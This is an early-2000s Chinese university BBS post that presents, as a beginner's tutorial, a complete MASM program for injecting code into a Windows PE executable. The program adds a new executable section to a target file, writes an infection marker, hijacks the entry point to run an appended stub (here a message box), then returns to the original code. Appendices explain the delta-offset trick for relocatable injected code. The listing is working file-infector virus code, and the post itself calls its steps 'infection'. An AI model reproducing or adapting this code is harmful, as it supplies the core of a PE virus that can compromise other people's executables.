Programming 版 (精华区)

发信人: pzc (花谢·花飞), 信区: Programming
标  题: 为PE插入代码
发信站: 哈工大紫丁香 (2001年10月24日16:20:46 星期三), 站内信件

希望能对PE和ASM的初学者有所帮助,吾愿足矣!
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.data
filename db "d:\t.exe",0        ;为了简单,避免了不必要的文件选择对话框
hFile dd 0
hMapping dd 0
pMapping dd 0
pe_header_off  dd 0             ;存储文件头相对文件的偏移量
byte_write dd 0                 ;WriteFile时使用,没有实际用途,为了程序正确

PEGame segment
start:
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push offset filename
call CreateFile
mov hFile, eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile
call CreateFileMapping
mov hMapping, eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping
call MapViewOfFile
mov pMapping,eax
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_lfanew
mov pe_header_off,eax
add ebx,[ebx].e_lfanew                      ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS
.IF  [ebx].Signature!=IMAGE_NT_SIGNATURE    ;是PE文件吗?
jmp Exit
.ENDIF
.IF word ptr [ebx+1ah]==0842h               ;是否已经感染
jmp Exit
.ENDIF
Noinfect:                                   ;保存原入口
mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint
mov old_in,eax
mov eax, [ebx].OptionalHeader.ImageBase
mov old_base,eax

;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节
;***************************************************************

movzx eax,[ebx].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add eax,pe_header_off
add eax,18h
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi
mov edi,eax
add edi,pMapping               ;I forgot this first
add eax,28h
.IF  eax>[ebx].OptionalHeader.SizeOfHeaders
jmp  Exit
.ENDIF

;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************

inc [ebx].FileHeader.NumberOfSections      ;节数目+1
mov esi,edi
sub esi,28h
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov [edi].Name1,41h                     ;随便为新节命名,使之不等于0
push [ebx].OptionalHeader.SizeOfImage
pop  [edi].VirtualAddress
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax
mov ecx,[ebx].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
mov eax,[esi].PointerToRawData
add eax,[esi].SizeOfRawData
mov [edi].PointerToRawData,eax
mov [edi].Characteristics,0E0000020h  ;可读可写可执行
;************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************************
**************
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebx].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage
mov [ebx].OptionalHeader.SizeOfImage,eax
mov eax,[edi].VirtualAddress
mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebx+1ah],0842h   ;写入感染标志
push FILE_END
push 0
push 0
push hFile
call SetFilePointer
;***************************************************************************
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;***************************************************************************
push 0
push offset byte_write
push [edi].SizeOfRawData
push offset vstart
push hFile
call WriteFile
Exit:
push pMapping
call UnmapViewOfFile
push hMapping
call CloseHandle
invoke ExitProcess,0
;***************************************************************
;从vstart->vend是将插入到d:\t.exe的代码
;功能是弹出一个对话框,然后返回原入口执行
;***************************************************************
vstart:
call nstart
nstart:
pop ebx
sub ebx,offset nstart                                  ;见附录一的详细说明
mov MsgBoxAddr[ebx],77e175d5h         ;liner addr of MessageBoxA in User32.d
ll
push MB_OK
mov eax,ebx
add eax,offset s
push eax
push eax
push 0
call MsgBoxAddr[ebx]
mov eax,old_base[ebx]
add eax,old_in[ebx]
push eax
ret
s db 'fid',0
MsgBoxAddr dd 0
old_base dd 0
old_in dd 0
vend:
PEGame ends
end start

附录一:得到MessageBoxA的线形地址代码
#include "windows.h"
#include "iostream.h"
int main(int argc, char* argv[])
{
      HINSTANCE h;
      char dllname[] ="User32";
      h = GetModuleHandle(dllname);
      if(h == NULL)
      {
         h = LoadLibrary(dllname);
      }
      DWORD p=(DWORD)::GetProcAddress(h,"MessageBoxA");
      cout<<"Addr of MessageBoxA:  "<<hex<<p<<endl;
}
附录二(摘自peach的“麻雀空间”):
call nstart                此时栈顶是下一指令地址,即nstart在cs段中的偏移
nstart:
pop ebp                 ebp = nstart处在cs段中的偏移
sub ebp,offset nstart      ebp 不一定和 offset nstart相等
之所以使用这样的指令,主要是为了在代码执行的时候进行内存的实际定位
插入的代码在汇编的时候代码段和数据段是确定的,总是从某段址的偏移0开始
但是,插入后别人的代码空间的时候,就不是从偏移0开始了
举个例子
我写一个代码和数据共享的小段汇编如下如下
_text   segments
        assume cs:_text, ds:_text
start:
        jmp     begin
        data1   db      0
        data2   db      0
begin:
        mov     al, data1
        mov     bl, data2
        add     al, bl
        mov     ax, 4c00h
        int     20h
_text   ends
        end     start
此代码段中,使用的cs和ds的值都保证了实际start处的偏移为0
但是一旦被复制到其他的cs, ds段,一般不能保证start处偏移在cs或ds段中偏移为0
这时候显然
mov   al, data1
mov   bl, data2
会出问题
怎么办呢?
可以写成这样子
_text   segments
        assume cs:_text, ds:_text
start:
        call    next
next:
        pop     si                此处si等于next处在当前cs段中的实际偏移
        sub     si, offset next         实际偏移减去汇编中的offset得到的
                                        就是start处的的实际偏移
                                  因为offset 操作符总是以0为基址的
                                                 offset start = 0
        data1   db      0
        data2   db      0
begin:
        mov     al, data1[si]       这里寻址的时候使用的就 offset data1 + si

        mov     bl, data2[si]
        add     al, bl
        mov     ax, 4c00h
        int     20h
_text   ends
        end     start
没啥特别的 ,仔细想一下就明白了 。
                                     ----《全文完》

--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.236.165]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.720毫秒